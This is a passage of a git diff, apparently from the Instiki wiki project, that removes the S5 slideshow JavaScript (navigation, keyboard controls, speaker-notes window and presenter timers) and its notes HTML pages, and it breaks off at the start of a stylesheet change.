-var controlVis = 'visible';
-
-var s5NotesWindow;
-var s5NotesWindowLoaded = false;
-var previousSlide = 0;
-var presentationStart = new Date();
-var slideStart = new Date();
-
-var countdown = {
-	timer: 0,
-	state: 'pause',
-	start: new Date(),
-	end: 0,
-	remaining: 0
-};
-
-
-var isIE = navigator.appName == 'Microsoft Internet Explorer' && navigator.userAgent.indexOf('Opera') < 1 ? 1 : 0;
-var isOp = navigator.userAgent.indexOf('Opera') > -1 ? 1 : 0;
-var isSa = navigator.userAgent.indexOf('Safari') > -1 ? 1 : 0;
-var isGe = navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('Safari') < 1 ? 1 : 0;
-
-function hasClass(object, className) {
-	if (!object.className ||!object.getAttribute('class')) return false;
-	return (object.getAttribute('class').search('(^|\\s)' + className + '(\\s|$)') != -1);
-}
-
-function hasValue(object, value) {
-	if (!object) return false;
-	return (object.search('(^|\\s)' + value + '(\\s|$)') != -1);
-}
-
-function removeClass(object,className) {
-	if (!object || !hasClass(object,className)) return;
-	object.className = object.className.replace(new RegExp('(^|\\s)'+className+'(\\s|$)'), RegExp.$1+RegExp.$2);
-}
-
-function addClass(object,className) {
-	if (!object || hasClass(object, className)) return;
-	if (object.className) {
-		object.className += ' '+className;
-	} else {
-		object.className = className;
-	}
-}
-
-function GetElementsWithClassName(elementName,className) {
-	var allElements = document.getElementsByTagName(elementName);
-	var elemColl = new Array();
-	for (var i = 0; i< allElements.length; i++) {
-		if (hasClass(allElements[i], className)) {
-			elemColl[elemColl.length] = allElements[i];
-		}
-	}
-	return elemColl;
-}
-
-function isParentOrSelf(element, id) {
-	if (element == null || element.nodeName=='body') return false;
-	else if (element.id == id) return true;
-	else return isParentOrSelf(element.parentNode, id);
-}
-
-function nodeValue(node) {
-	var result = "";
-	if (node.nodeType == 1) {
-		var children = node.childNodes;
-		for (var i = 0; i < children.length; ++i) {
-			result += nodeValue(children[i]);
-		}		
-	}
-	else if (node.nodeType == 3) {
-		result = node.nodeValue;
-	}
-	return(result);
-}
-
-function slideLabel() {
-	var slideColl = GetElementsWithClassName('*','slide');
-	var list = document.getElementById('jumplist');
-	smax = slideColl.length;
-	for (var n = 0; n < smax; n++) {
-		var obj = slideColl[n];
-
-		var did = 'slide' + n.toString();
-		obj.setAttribute('id',did);
-
-//		if (isOp) continue;   // Opera fix (hallvord)
-
-		var otext = '';
-		var menu = obj.firstChild;
-		if (!menu) continue; // to cope with empty slides
-		while (menu && menu.nodeType == 3) {
-			menu = menu.nextSibling;
-		}
-	 	if (!menu) continue; // to cope with slides with only text nodes
-
-		var menunodes = menu.childNodes;
-		for (var o = 0; o < menunodes.length; o++) {
-			otext += nodeValue(menunodes[o]);
-		}
-               if (isSa) {
-		  var option = createElement('option');
-		  option.setAttribute('value', n);
-		  option.appendChild(document.createTextNode(n + ' : '  + otext) );
-		  list.appendChild(option);
-                } else {
-		  list.options[list.length] = new Option(n + ' : '  + otext, n);
-                }
-	}
-}
-
-function currentSlide() {
-	var cs;
-	if (document.getElementById) {
-		cs = document.getElementById('currentSlide');
-	} else {
-		cs = document.currentSlide;
-	}
-	var plink = createElement('a');
-	plink.id = 'plink';
-	plink.setAttribute('href', '');
-	var csHere = createElement('span');
-	var csSep = createElement('span');
-	var csTotal = createElement('span');
-	csHere.id = 'csHere';
-	csSep.id = 'csSep';
-	csTotal.id = 'csTotal';
-	csHere.appendChild(document.createTextNode(this.snum));
-	csSep.appendChild(document.createTextNode('/'));
-	csTotal.appendChild(document.createTextNode(this.smax-1));
-	plink.appendChild(csHere);
-	plink.appendChild(csSep);
-	plink.appendChild(csTotal);
-	cs.removeChild(cs.firstChild);
-	cs.appendChild(plink);
-	if (snum == 0) {
-		cs.style.visibility = 'hidden';
-	} else {
-		cs.style.visibility = 'visible';
-	}
-}
-
-function go(step) {
-	if (document.getElementById('slideProj').disabled || step == 0) return;
-	var jl = document.getElementById('jumplist');
-	var cid = 'slide' + snum;
-	var ce = document.getElementById(cid);
-	if (incrementals[snum].length > 0) {
-		for (var i = 0; i < incrementals[snum].length; i++) {
-			removeClass(incrementals[snum][i], 'current');
-			removeClass(incrementals[snum][i], 'incremental');
-		}
-	}
-	if (step != 'j') {
-		snum += step;
-		lmax = smax - 1;
-		if (snum > lmax) snum = lmax;
-		if (snum < 0) snum = 0;
-	} else
-		snum = parseInt(jl.value);
-	var nid = 'slide' + snum;
-	var ne = document.getElementById(nid);
-	if (!ne) {
-		ne = document.getElementById('slide0');
-		snum = 0;
-	}
-	if (step < 0) {incpos = incrementals[snum].length} else {incpos = 0;}
-	if (incrementals[snum].length > 0 && incpos == 0) {
-		for (var i = 0; i < incrementals[snum].length; i++) {
-			if (hasClass(incrementals[snum][i], 'current'))
-				incpos = i + 1;
-			else
-				addClass(incrementals[snum][i], 'incremental');
-		}
-	}
-	if (incrementals[snum].length > 0 && incpos > 0)
-		addClass(incrementals[snum][incpos - 1], 'current');
-	if (isOp) { //hallvord
-		location.hash = nid;
-	} else {
-		ce.style.visibility = 'hidden'; 
-		ne.style.visibility = 'visible';
-	} // /hallvord
-	jl.selectedIndex = snum;
-	currentSlide();
-	loadNote();
-	permaLink();
-	number = undef;
-}
-
-function goTo(target) {
-	if (target >= smax || target == snum) return;
-	go(target - snum);
-}
-
-function subgo(step) {
-	if (step > 0) {
-		removeClass(incrementals[snum][incpos - 1],'current');
-		removeClass(incrementals[snum][incpos], 'incremental');
-		addClass(incrementals[snum][incpos],'current');
-		incpos++;
-	} else {
-		incpos--;
-		removeClass(incrementals[snum][incpos],'current');
-		addClass(incrementals[snum][incpos], 'incremental');
-		addClass(incrementals[snum][incpos - 1],'current');
-	}
-	loadNote();
-}
-
-function toggle() {
-	var slideColl = GetElementsWithClassName('*','slide');
-	var slides = document.getElementById('slideProj');
-	var outline = document.getElementById('outlineStyle');
-	if (!slides.disabled) {
-		slides.disabled = true;
-		outline.disabled = false;
-		s5mode = false;
-		fontSize('1em');
-		for (var n = 0; n < smax; n++) {
-			var slide = slideColl[n];
-			slide.style.visibility = 'visible';
-		}
-	} else {
-		slides.disabled = false;
-		outline.disabled = true;
-		s5mode = true;
-		fontScale();
-		for (var n = 0; n < smax; n++) {
-			var slide = slideColl[n];
-			slide.style.visibility = 'hidden';
-		}
-		slideColl[snum].style.visibility = 'visible';
-	}
-}
-
-function showHide(action) {
-	var obj = GetElementsWithClassName('*','hideme')[0];
-	switch (action) {
-	case 's': obj.style.visibility = 'visible'; break;
-	case 'h': obj.style.visibility = 'hidden'; break;
-	case 'k':
-		if (obj.style.visibility != 'visible') {
-			obj.style.visibility = 'visible';
-		} else {
-			obj.style.visibility = 'hidden';
-		}
-	break;
-	}
-}
-
-// 'keys' code adapted from MozPoint (http://mozpoint.mozdev.org/)
-function keys(key) {
-	if (!key) {
-		key = event;
-		key.which = key.keyCode;
-	}
-	if (key.which == 84) {
-		toggle();
-		return;
-	}
-	if (s5mode) {
-		switch (key.which) {
-			case 10: // return
-			case 13: // enter
-				if (window.event && isParentOrSelf(window.event.srcElement, 'controls')) return;
-				if (key.target && isParentOrSelf(key.target, 'controls')) return;
-				if(number != undef) {
-					goTo(number);
-					break;
-				}
-			case 32: // spacebar
-			case 34: // page down
-			case 39: // rightkey
-			case 40: // downkey
-				if(number != undef) {
-					go(number);
-				} else if (!incrementals[snum] || incpos >= incrementals[snum].length) {
-					go(1);
-				} else {
-					subgo(1);
-				}
-				break;
-			case 33: // page up
-			case 37: // leftkey
-			case 38: // upkey
-				if(number != undef) {
-					go(-1 * number);
-				} else if (!incrementals[snum] || incpos <= 0) {
-					go(-1);
-				} else {
-					subgo(-1);
-				}
-				break;
-			case 36: // home
-				goTo(0);
-				break;
-			case 35: // end
-				goTo(smax-1);
-				break;
-			case 67: // c
-				showHide('k');
-				break;
-			case 78: // n
-				createNotesWindow();
-				break;
-		}
-		if (key.which < 48 || key.which > 57) {
-			number = undef;
-		} else {
-			if (window.event && isParentOrSelf(window.event.srcElement, 'controls')) return;
-			if (key.target && isParentOrSelf(key.target, 'controls')) return;
-			number = (((number != undef) ? number : 0) * 10) + (key.which - 48);
-		}
-	}
-	return false;
-}
-
-function clicker(e) {
-	number = undef;
-	var target;
-	if (window.event) {
-		target = window.event.srcElement;
-		e = window.event;
-	} else target = e.target;
-	if (target.href != null || hasValue(target.rel, 'external') || isParentOrSelf(target, 'controls') || isParentOrSelf(target,'embed') || isParentOrSelf(target,'object')) return true;
-	if (!e.which || e.which == 1) {
-		if (!incrementals[snum] || incpos >= incrementals[snum].length) {
-			go(1);
-		} else {
-			subgo(1);
-		}
-	}
-}
-
-function findSlide(hash) {
-	var target = null;
-	var slides = GetElementsWithClassName('*','slide');
-	for (var i = 0; i < slides.length; i++) {
-		var targetSlide = slides[i];
-		if ( (targetSlide.name && targetSlide.name == hash)
-		 || (targetSlide.id && targetSlide.id == hash) ) {
-			target = targetSlide;
-			break;
-		}
-	}
-	while(target != null && target.nodeName != 'body') {
-		if (hasClass(target, 'slide')) {
-			return parseInt(target.id.slice(5));
-		}
-		target = target.parentNode;
-	}
-	return null;
-}
-
-function slideJump() {
-	if (window.location.hash == null) return;
-	var sregex = /^#slide(\d+)$/;
-	var matches = sregex.exec(window.location.hash);
-	var dest = null;
-	if (matches != null) {
-		dest = parseInt(matches[1]);
-	} else {
-		dest = findSlide(window.location.hash.slice(1));
-	}
-	if (dest != null)
-		go(dest - snum);
-}
-
-function fixLinks() {
-	var thisUri = window.location.href;
-	thisUri = thisUri.slice(0, thisUri.length - window.location.hash.length);
-	var aelements = document.getElementsByTagName('a');
-	for (var i = 0; i < aelements.length; i++) {
-		var a = aelements[i].href;
-		var slideID = a.match('\#slide[0-9]{1,2}');
-		if ((slideID) && (slideID[0].slice(0,1) == '#')) {
-			var dest = findSlide(slideID[0].slice(1));
-			if (dest != null) {
-				if (aelements[i].addEventListener) {
-					aelements[i].addEventListener("click", new Function("e",
-						"if (document.getElementById('slideProj').disabled) return;" +
-						"go("+dest+" - snum); " +
-						"if (e.preventDefault) e.preventDefault();"), true);
-				} else if (aelements[i].attachEvent) {
-					aelements[i].attachEvent("onclick", new Function("",
-						"if (document.getElementById('slideProj').disabled) return;" +
-						"go("+dest+" - snum); " +
-						"event.returnValue = false;"));
-				}
-			}
-		}
-	}
-}
-
-function externalLinks() {
-	if (!document.getElementsByTagName) return;
-	var anchors = document.getElementsByTagName('a');
-	for (var i=0; i<anchors.length; i++) {
-		var anchor = anchors[i];
-		if (anchor.getAttribute('href') && hasValue(anchor.rel, 'external')) {
-			anchor.target = '_blank';
-			addClass(anchor,'external');
-		}
-	}
-}
-
-function permaLink() {
-	document.getElementById('plink').href = window.location.pathname + '#slide' + snum;
-}
-
-function createControls() {
-	var controlsDiv = document.getElementById("controls");
-	if (!controlsDiv) return;
-	var controlForm = createElement('form');
-	controlForm.id = 'controlForm';
-	controlForm.setAttribute('action', '#');
-	if (controlVis == 'hidden') {
-	   controlForm.setAttribute('onmouseover', 'showHide(\'s\');');
-	   controlForm.setAttribute('onmouseout',  'showHide(\'h\');');
-	}
-	var navLinks = createElement('div');
-	navLinks.id = 'navLinks';
-	var showNotes = createElement('a');
-	showNotes.id = 'show-notes';
-	showNotes.setAttribute('accesskey', 'n');
-	showNotes.setAttribute('href', 'javascript:createNotesWindow();');
-	showNotes.setAttribute('title', 'Show Notes');
-	showNotes.appendChild(document.createTextNode('\u2261'));
-	var toggle =  createElement('a');
-	toggle.id = 'toggle';
-	toggle.setAttribute('accesskey', 't');
-	toggle.setAttribute('href', 'javascript:toggle();');
-	toggle.appendChild(document.createTextNode('\u00D8'));
-    var prev =  createElement('a');
-	prev.id = 'prev';
-	prev.setAttribute('accesskey', 'z');
-	prev.setAttribute('href', 'javascript:go(-1);');
-	prev.appendChild(document.createTextNode('\u00AB'));
-    var next =  createElement('a');
-	next.id = 'next';
-	next.setAttribute('accesskey', 'x');
-	next.setAttribute('href', 'javascript:go(1);');
-	next.appendChild(document.createTextNode('\u00BB'));	
-	var navList =  createElement('div');
-	navList.id = 'navList';
-	if (controlVis != 'hidden') {
-	   navList.setAttribute('onmouseover', 'showHide(\'s\');');
-	   navList.setAttribute('onmouseout',  'showHide(\'h\');');
-	}
-	var jumplist = createElement('select');
-	jumplist.id = 'jumplist';
-	jumplist.setAttribute('onchange', 'go(\'j\');');
-	navList.appendChild(jumplist);
-	navLinks.appendChild(showNotes);
-	navLinks.appendChild(toggle);
-	navLinks.appendChild(prev);
-	navLinks.appendChild(next);
-	navLinks.appendChild(navList);
-	controlForm.appendChild(navLinks);
-    controlsDiv.appendChild(controlForm);
-
-	if (controlVis == 'hidden') {
-		var hidden = document.getElementById('navLinks');
-	} else {
-		var hidden = document.getElementById('jumplist');
-	}
-	addClass(hidden,'hideme');
-}
-
-function fontScale() {  // causes layout problems in FireFox that get fixed if browser's Reload is used; same may be true of other Gecko-based browsers
-	if (!s5mode) return false;
-	var vScale = 48;  // both yield 16 (the usual browser default) at 1024x768
-	var hScale = 64;  // perhaps should auto-calculate based on theme's declared value?
-	if (window.innerHeight) {
-		var vSize = window.innerHeight;
-		var hSize = window.innerWidth;
-	} else if (document.documentElement.clientHeight) {
-		var vSize = document.documentElement.clientHeight;
-		var hSize = document.documentElement.clientWidth;
-	} else if (document.body.clientHeight) {
-		var vSize = document.body.clientHeight;
-		var hSize = document.body.clientWidth;
-	} else {
-		var vSize = 700;  // assuming 1024x768, minus chrome and such
-		var hSize = 1024; // these do not account for kiosk mode or Opera Show
-	}
-	var newSize = Math.min(Math.round(vSize/vScale),Math.round(hSize/hScale));
-	fontSize(newSize + 'px');
-	if (isGe) {  // hack to counter incremental reflow bugs
-		var obj = document.getElementsByTagName('body')[0];
-		obj.style.display = 'none';
-		obj.style.display = 'block';
-	}
-}
-
-function fontSize(value) {
-	if (!(s5ss = document.getElementById('s5ss'))) {
-		if (!document.createStyleSheet) {
-			document.getElementsByTagName('head')[0].appendChild(s5ss = createElement('style'));
-			s5ss.setAttribute('media','screen, projection');
-			s5ss.setAttribute('id','s5ss');
-		} else {
-			document.createStyleSheet();
-			document.s5ss = document.styleSheets[document.styleSheets.length - 1];
-		}
-	}
-	if (!(document.s5ss && document.s5ss.addRule)) {
-		while (s5ss.lastChild) s5ss.removeChild(s5ss.lastChild);
-		s5ss.appendChild(document.createTextNode('html {font-size: ' + value + ' !important;}'));
-	} else {
-		document.s5ss.addRule('html','font-size: ' + value + ' !important;');
-	}
-}
-
-function notOperaFix() {
-	slideCSS = document.getElementById('slideProj').href;
-	var slides = document.getElementById('slideProj');
-	var outline = document.getElementById('outlineStyle');
-	slides.setAttribute('media','screen');
-	outline.disabled = true;
-	if (isGe) {
-		slides.setAttribute('href',slideCSS); // Gecko fix
-	}
-	if (isIE && document.styleSheets && document.styleSheets[0]) {
-		document.styleSheets[0].addRule('img', 'behavior: url(../../s5/ui/default/iepngfix.htc)');
-		document.styleSheets[0].addRule('div', 'behavior: url(../../s5/ui/default/iepngfix.htc)');
-		document.styleSheets[0].addRule('.slide', 'behavior: url(../../s5/ui/default/iepngfix.htc)');
-	}
-}
-
-function getIncrementals(obj) {
-	var incrementals = new Array();
-	if (!obj) 
-		return incrementals;
-	var children = obj.childNodes;
-	for (var i = 0; i < children.length; i++) {
-		var child = children[i];
-		if (hasClass(child, 'incremental')) {
-			if (child.nodeName == 'ol' || child.nodeName == 'ul' || child.nodeName == 'dl') {
-				removeClass(child, 'incremental');
-				for (var j = 0; j < child.childNodes.length; j++) {
-					if (child.childNodes[j].nodeType == 1) {
-						addClass(child.childNodes[j], 'incremental');
-					}
-				}
-			} else {
-				incrementals[incrementals.length] = child;
-				removeClass(child,'incremental');
-			}
-		}
-		if (hasClass(child, 'show-first')) {
-			if (child.nodeName == 'ol' || child.nodeName == 'ul' || child.nodeName == 'dl') {
-				removeClass(child, 'show-first');
-				if (child.childNodes[isGe].nodeType == 1) {
-					removeClass(child.childNodes[isGe], 'incremental');
-				}
-			} else {
-				incrementals[incrementals.length] = child;
-			}
-		}
-		incrementals = incrementals.concat(getIncrementals(child));
-	}
-	return incrementals;
-}
-
-function createIncrementals() {
-	var incrementals = new Array();
-	for (var i = 0; i < smax; i++) {
-		incrementals[i] = getIncrementals(document.getElementById('slide'+i));
-	}
-	return incrementals;
-}
-
-function defaultCheck() {
-	var allMetas = document.getElementsByTagName('meta');
-	for (var i = 0; i< allMetas.length; i++) {
-		if (allMetas[i].name == 'defaultView') {
-			defaultView = allMetas[i].content;
-		}
-		if (allMetas[i].name == 'controlVis') {
-			controlVis = allMetas[i].content;
-		}
-	}
-}
-
-// Key trap fix, new function body for trap()
-function trap(e) {
-	if (!e) {
-		e = event;
-		e.which = e.keyCode;
-	}
-	try {
-		modifierKey = e.ctrlKey || e.altKey || e.metaKey;
-	}
-	catch(e) {
-		modifierKey = false;
-	}
-	return modifierKey || e.which == 0;
-}
-
-function noteLabel() { // Gives notes id's to match parent slides
-	var notes = GetElementsWithClassName('div','notes');
-	for (var i = 0; i < notes.length; i++) {
-		var note = notes[i];
-		var id = 'note' + note.parentNode.id.substring(5);
-		note.setAttribute('id',id);
-	}
-	resetElapsedSlide();
-	resetRemainingTime();
-	window.setInterval('updateElaspedTime()', 1000);
-}
-
-function createNotesWindow() { // creates a window for our notes
-	if (!s5NotesWindow || s5NotesWindow.closed) { // Create the window if it doesn't exist
-		s5NotesWindowLoaded = false;
-		// Note: Safari has a tendency to ignore window options preferring to default to the settings of the parent window, grr.
-		if (isIE) {
-		  s5NotesWindow = window.open('../../s5/ui/s5-notes.html', 's5NotesWindow', 'top=0,left=0,resizable=yes,scrollbars=auto');
-		} else {
-		  s5NotesWindow = window.open('../../s5/ui/s5-notes.xhtml', 's5NotesWindow', 'top=0,left=0,resizable=yes,scrollbars=auto');
-		}
-	}
-	if (s5NotesWindowLoaded) { // Load the current note if the Note HTML has loaded
-		loadNote();
-	} else { // Keep trying...
-		window.setTimeout('createNotesWindow()', 50);
-	}
-}
-
-function loadNote() {
-// Loads a note into the note window
-	var notes = nextNotes = '<em class="disclaimer">There are no notes for this slide.</em>';
-	if (document.getElementById('note' + snum)) {
-		notes = document.getElementById('note' + snum).innerHTML;
-	}
-	if (document.getElementById('note' + (snum + 1))) {
-		nextNotes = document.getElementById('note' + (snum + 1)).innerHTML;
-	}
-	
-	var jl = document.getElementById('jumplist');
-	var slideTitle = jl.options[jl.selectedIndex].text.replace(/^\d+\s+:\s+/, '') + ((jl.selectedIndex) ? ' (' + jl.selectedIndex + '/' + (smax - 1) + ')' : '');
-	if (incrementals[snum].length > 0) {
-//		alert('howdy');
-		slideTitle += ' <small>[' + incpos + '/' + incrementals[snum].length + ']</small>';
-	}
-	if (jl.selectedIndex < smax - 1) {
-		var nextTitle = jl.options[jl.selectedIndex + 1].text.replace(/^\d+\s+:\s+/, '') + ((jl.selectedIndex + 1) ? ' (' + (jl.selectedIndex + 1) + '/' + (smax - 1) + ')' : '');
-	} else {
-		var nextTitle = '[end of slide show]';
-	}
-	
-	if (s5NotesWindow && !s5NotesWindow.closed && s5NotesWindow.document) {
-		s5NotesWindow.document.getElementById('slide').innerHTML = slideTitle;
-		s5NotesWindow.document.getElementById('notes').innerHTML = notes;
-		s5NotesWindow.document.getElementById('next').innerHTML = nextTitle;
-		s5NotesWindow.document.getElementById('nextnotes').innerHTML = nextNotes;
-	}
-	resetElapsedSlide();
-}
-
-function minimizeTimer(id) {
-	var obj = s5NotesWindow.document.getElementById(id);
-	if (hasClass(obj,'collapsed')) {
-		removeClass(obj,'collapsed');
-	} else {
-		addClass(obj,'collapsed');
-	}
-}
-
-function resetElapsedTime() {
-	presentationStart = new Date();
-	slideStart = new Date();
-	updateElaspedTime();
-}
-
-function resetElapsedSlide() {
-	if (snum != previousSlide) {
-		slideStart = new Date();
-		previousSlide = snum;
-		updateElaspedTime();
-	}
-}
-
-function updateElaspedTime() {
-	if (!s5NotesWindowLoaded || !s5NotesWindow || s5NotesWindow.closed) return;
-	var now = new Date();
-	var ep = s5NotesWindow.document.getElementById('elapsed-presentation');
-	var es = s5NotesWindow.document.getElementById('elapsed-slide');
-	ep.removeChild(ep.firstChild);
-	ep.appendChild(document.createTextNode(formatTime(now.valueOf() - presentationStart.valueOf())));
-	es.removeChild(es.firstChild);
-	es.appendChild(document.createTextNode(formatTime(now.valueOf() - slideStart.valueOf())));
-}
-
-function resetRemainingTime() {
-	if (!s5NotesWindowLoaded || !s5NotesWindow || s5NotesWindow.closed) return;
-	var startField = s5NotesWindow.document.getElementById('startFrom');
-	startFrom = readTime(startField.value);
-	countdown.remaining = startFrom * 60000;  // convert to msecs
-	countdown.start = new Date().valueOf();
-	countdown.end = countdown.start + countdown.remaining;
-	var tl = s5NotesWindow.document.getElementById('timeLeft');
-	var timeLeft = formatTime(countdown.remaining);
-	tl.removeChild(tl.firstChild);
-	tl.appendChild(document.createTextNode(timeLeft));
-}
-
-function updateRemainingTime() {
-	if (!s5NotesWindowLoaded || !s5NotesWindow || s5NotesWindow.closed) return;
-	var tl = s5NotesWindow.document.getElementById('timeLeft');
-	var now = new Date();
-	if (countdown.state == 'run') {
-		countdown.remaining = countdown.end - now;
-	}
-	tl.style.color = '';
-	tl.style.backgroundColor = '';
-	if (countdown.remaining >= 0) {
-		var timeLeft = formatTime(countdown.remaining);
-		removeClass(tl,'overtime');
-		if (countdown.remaining < 300000) {
-			tl.style.color = 'rgb(' + (255-Math.round(countdown.remaining/2000)) + ',0,0)';
-			tl.style.backgroundColor = 'rgb(255,255,' + (Math.round(countdown.remaining/2000)) + ')';
-		}
-	} else {
-		var timeLeft = '-' + formatTime(-countdown.remaining);
-		addClass(tl,'overtime');
-	}
-	tl.removeChild(tl.firstChild);
-	tl.appendChild(document.createTextNode(timeLeft));
-}
-
-function toggleRemainingTime() {
-	if (countdown.state == 'pause') countdown.state = 'run'; else countdown.state = 'pause';
-	if (countdown.state == 'pause') {
-		window.clearInterval(countdown.timer);
-	}
-	if (countdown.state == 'run') {
-		countdown.start = new Date().valueOf();
-		countdown.end = countdown.start + countdown.remaining;
-		countdown.timer = window.setInterval('updateRemainingTime()', 1000);
-	}
-}
-
-function alterRemainingTime(amt) {
-	var change = amt * 60000;  // convert to msecs
-	countdown.end += change;
-	countdown.remaining += change;
-	updateRemainingTime();
-}
-
-function formatTime(msecs)  {
-	var time = new Date(msecs);
-	
-	var hrs = time.getUTCHours() + ((time.getUTCDate() -1) * 24); // I doubt anyone will spend more than 24 hours on a presentation or single slide but just in case...
-	hrs = (hrs < 10) ? '0'+hrs : hrs;
-	if (hrs == 'NaN' || isNaN(hrs)) hrs = '--';
-	
-	var min = time.getUTCMinutes();
-	min = (min < 10) ? '0'+min : min;
-	if (min == 'NaN' || isNaN(min)) min = '--';
-	
-	var sec = time.getUTCSeconds();
-	sec = (sec < 10) ? '0'+sec : sec;
-	if (sec == 'NaN' || isNaN(sec)) sec = '--';
-
-	return hrs + ':' + min + ':' + sec;
-}
-
-function readTime(val) {
-	var sregex = /:/;
-	var matches = sregex.exec(val);
-	if (matches == null) {
-		return val;
-	} else {
-		var times = val.split(':');
-		var hours = parseInt(times[0]);
-		var mins = parseInt(times[1]);
-		var total = (hours * 60) + mins;
-		return total;
-	}
-}
-
-function createElement(element) {
-  if (typeof document.createElementNS != 'undefined') {
-    return document.createElementNS('http://www.w3.org/1999/xhtml', element);
-  } else {
-    return document.createElement(element);
-  }
-}
-
-function windowChange() {
-	fontScale();
-}
-
-function fixRunIn() {
-// work around lack of gecko support for display:run-in
-  var re = /^num_|\s+num_|^un_|\s+un_|proof/;
-  $$('div > h6').each(function(element) {
-     if(re.test($(element.parentNode).className)) {
-      var new_span = new Element('span').update(element.textContent);
-      new_span.addClassName('theorem_label');
-      var next_el = element.next().firstChild;
-      next_el.parentNode.insertBefore(new_span, next_el);
-      var period = new Element('span').update('. ');
-      next_el.parentNode.insertBefore(period, next_el);
-      element.remove();
-     }
-  });
-// add tombstone to proof, since gecko doesn't support :last-child properly
-
- $$('div.proof').each(function(element) {
-     var l = element.childElements().length -1;
-     var span = new Element('span').update('\u00a0\u00a0\u25ae');
-     element.childElements()[l].insert(span);
-    })
-}
-
-function startup() {
-	defaultCheck();
-	createControls();  // hallvord
-	slideLabel();
-	incrementals = createIncrementals();
-	noteLabel(); // [SI:060104] must follow slideLabel()
-	loadNote();
-	fixLinks();
-	externalLinks();
-	fontScale();
-	fixRunIn();
-	if (!isOp) notOperaFix();
-	slideJump();
-	if (defaultView == 'outline') {
-		toggle();
-	}
-	document.onkeyup = keys;
-	document.onkeypress = trap;
-	document.onclick = clicker;
-}
-
-window.onload = startup;
-window.onresize = function(){setTimeout('windowChange()',5);}
diff --git a/public/s5/ui/s5-notes.html b/public/s5/ui/s5-notes.html
deleted file mode 100644
index 16cc7c5a..00000000
--- a/public/s5/ui/s5-notes.html
+++ /dev/null
@@ -1,64 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd" >
-
-<!--  Do not edit this document! The system will likely break if you do. -->
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-<title>Notes</title>
-<link rel="stylesheet" href="core/notes.css" type="text/css" />
-<script type="text/javascript">
-// <![CDATA[
-	document.onkeyup = opener.keys;
-	document.onkeypress = opener.trap;
-	document.onclick = opener.clicker;
-// ]]>
-</script>
-</head>
-
-<body onload="opener.s5NotesWindowLoaded=true;" onunload="opener.s5NotesWindowLoaded=false;">
-
-
-<div class="timers" id="elapsed">
-<h1>
-<a href="#" onclick="opener.minimizeTimer('elapsed'); return false;">Elapsed Time</a>
-</h1>
-<ul>
-<li>
-<h2>Presentation</h2>
-<span class="clock" id="elapsed-presentation">00:00:00</span>
-</li>
-<li>
-<h2>Current Slide</h2>
-<span class="clock" id="elapsed-slide">00:00:00</span>
-</li>
-</ul>
-<div class="controls">
-<a href="#reset-elapsed" onclick="opener.resetElapsedTime(); return false;" title="Reset Elapsed Time">|&larr;</a>
-</div>
-</div>
-
-<div class="timers" id="remaining">
-<h1>
-<a href="#" onclick="opener.minimizeTimer('remaining'); return false;">Remaining Time</a>
-</h1>
-<p>
-<a href="#subtract-remaining" class="control" id="minus" onclick="opener.alterRemainingTime('-5'); return false;" title="Subtract 5 Minutes">-</a>
-<span class="clock" id="timeLeft">00:00:00</span>
-<a href="#add-remaining" class="control" id="plus" onclick="opener.alterRemainingTime('5'); return false;" title="Add 5 Minutes">+</a>
-</p>
-<div class="controls">
-<form action="#" onsubmit="opener.resetRemainingTime(); return false;">
-<input type="text" class="text" id="startFrom" value="0" size="4" maxlength="4" />
-<a href="#toggle-remaining" onclick="opener.toggleRemainingTime(); return false;" title="Pause/Run Remaining Time">||</a>
-<a href="#reset-remaining" onclick="opener.resetRemainingTime(); return false;" title="Reset Remaining Time">|&larr;</a>
-</form>
-</div>
-</div>
-
-<h2 id="slide">...</h2>
-<div id="notes"></div>
-
-<h2 id="next">...</h2>
-<div id="nextnotes"></div>
-
-</body>
-</html>
diff --git a/public/s5/ui/s5-notes.xhtml b/public/s5/ui/s5-notes.xhtml
deleted file mode 100644
index 16cc7c5a..00000000
--- a/public/s5/ui/s5-notes.xhtml
+++ /dev/null
@@ -1,64 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd" >
-
-<!--  Do not edit this document! The system will likely break if you do. -->
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-<title>Notes</title>
-<link rel="stylesheet" href="core/notes.css" type="text/css" />
-<script type="text/javascript">
-// <![CDATA[
-	document.onkeyup = opener.keys;
-	document.onkeypress = opener.trap;
-	document.onclick = opener.clicker;
-// ]]>
-</script>
-</head>
-
-<body onload="opener.s5NotesWindowLoaded=true;" onunload="opener.s5NotesWindowLoaded=false;">
-
-
-<div class="timers" id="elapsed">
-<h1>
-<a href="#" onclick="opener.minimizeTimer('elapsed'); return false;">Elapsed Time</a>
-</h1>
-<ul>
-<li>
-<h2>Presentation</h2>
-<span class="clock" id="elapsed-presentation">00:00:00</span>
-</li>
-<li>
-<h2>Current Slide</h2>
-<span class="clock" id="elapsed-slide">00:00:00</span>
-</li>
-</ul>
-<div class="controls">
-<a href="#reset-elapsed" onclick="opener.resetElapsedTime(); return false;" title="Reset Elapsed Time">|&larr;</a>
-</div>
-</div>
-
-<div class="timers" id="remaining">
-<h1>
-<a href="#" onclick="opener.minimizeTimer('remaining'); return false;">Remaining Time</a>
-</h1>
-<p>
-<a href="#subtract-remaining" class="control" id="minus" onclick="opener.alterRemainingTime('-5'); return false;" title="Subtract 5 Minutes">-</a>
-<span class="clock" id="timeLeft">00:00:00</span>
-<a href="#add-remaining" class="control" id="plus" onclick="opener.alterRemainingTime('5'); return false;" title="Add 5 Minutes">+</a>
-</p>
-<div class="controls">
-<form action="#" onsubmit="opener.resetRemainingTime(); return false;">
-<input type="text" class="text" id="startFrom" value="0" size="4" maxlength="4" />
-<a href="#toggle-remaining" onclick="opener.toggleRemainingTime(); return false;" title="Pause/Run Remaining Time">||</a>
-<a href="#reset-remaining" onclick="opener.resetRemainingTime(); return false;" title="Reset Remaining Time">|&larr;</a>
-</form>
-</div>
-</div>
-
-<h2 id="slide">...</h2>
-<div id="notes"></div>
-
-<h2 id="next">...</h2>
-<div id="nextnotes"></div>
-
-</body>
-</html>
diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css
index d14510b3..7bdf7e4a 100644
--- a/public/stylesheets/instiki.css
+++ b/public/stylesheets/instiki.css
@@ -1,523 +1,241 @@
-body {
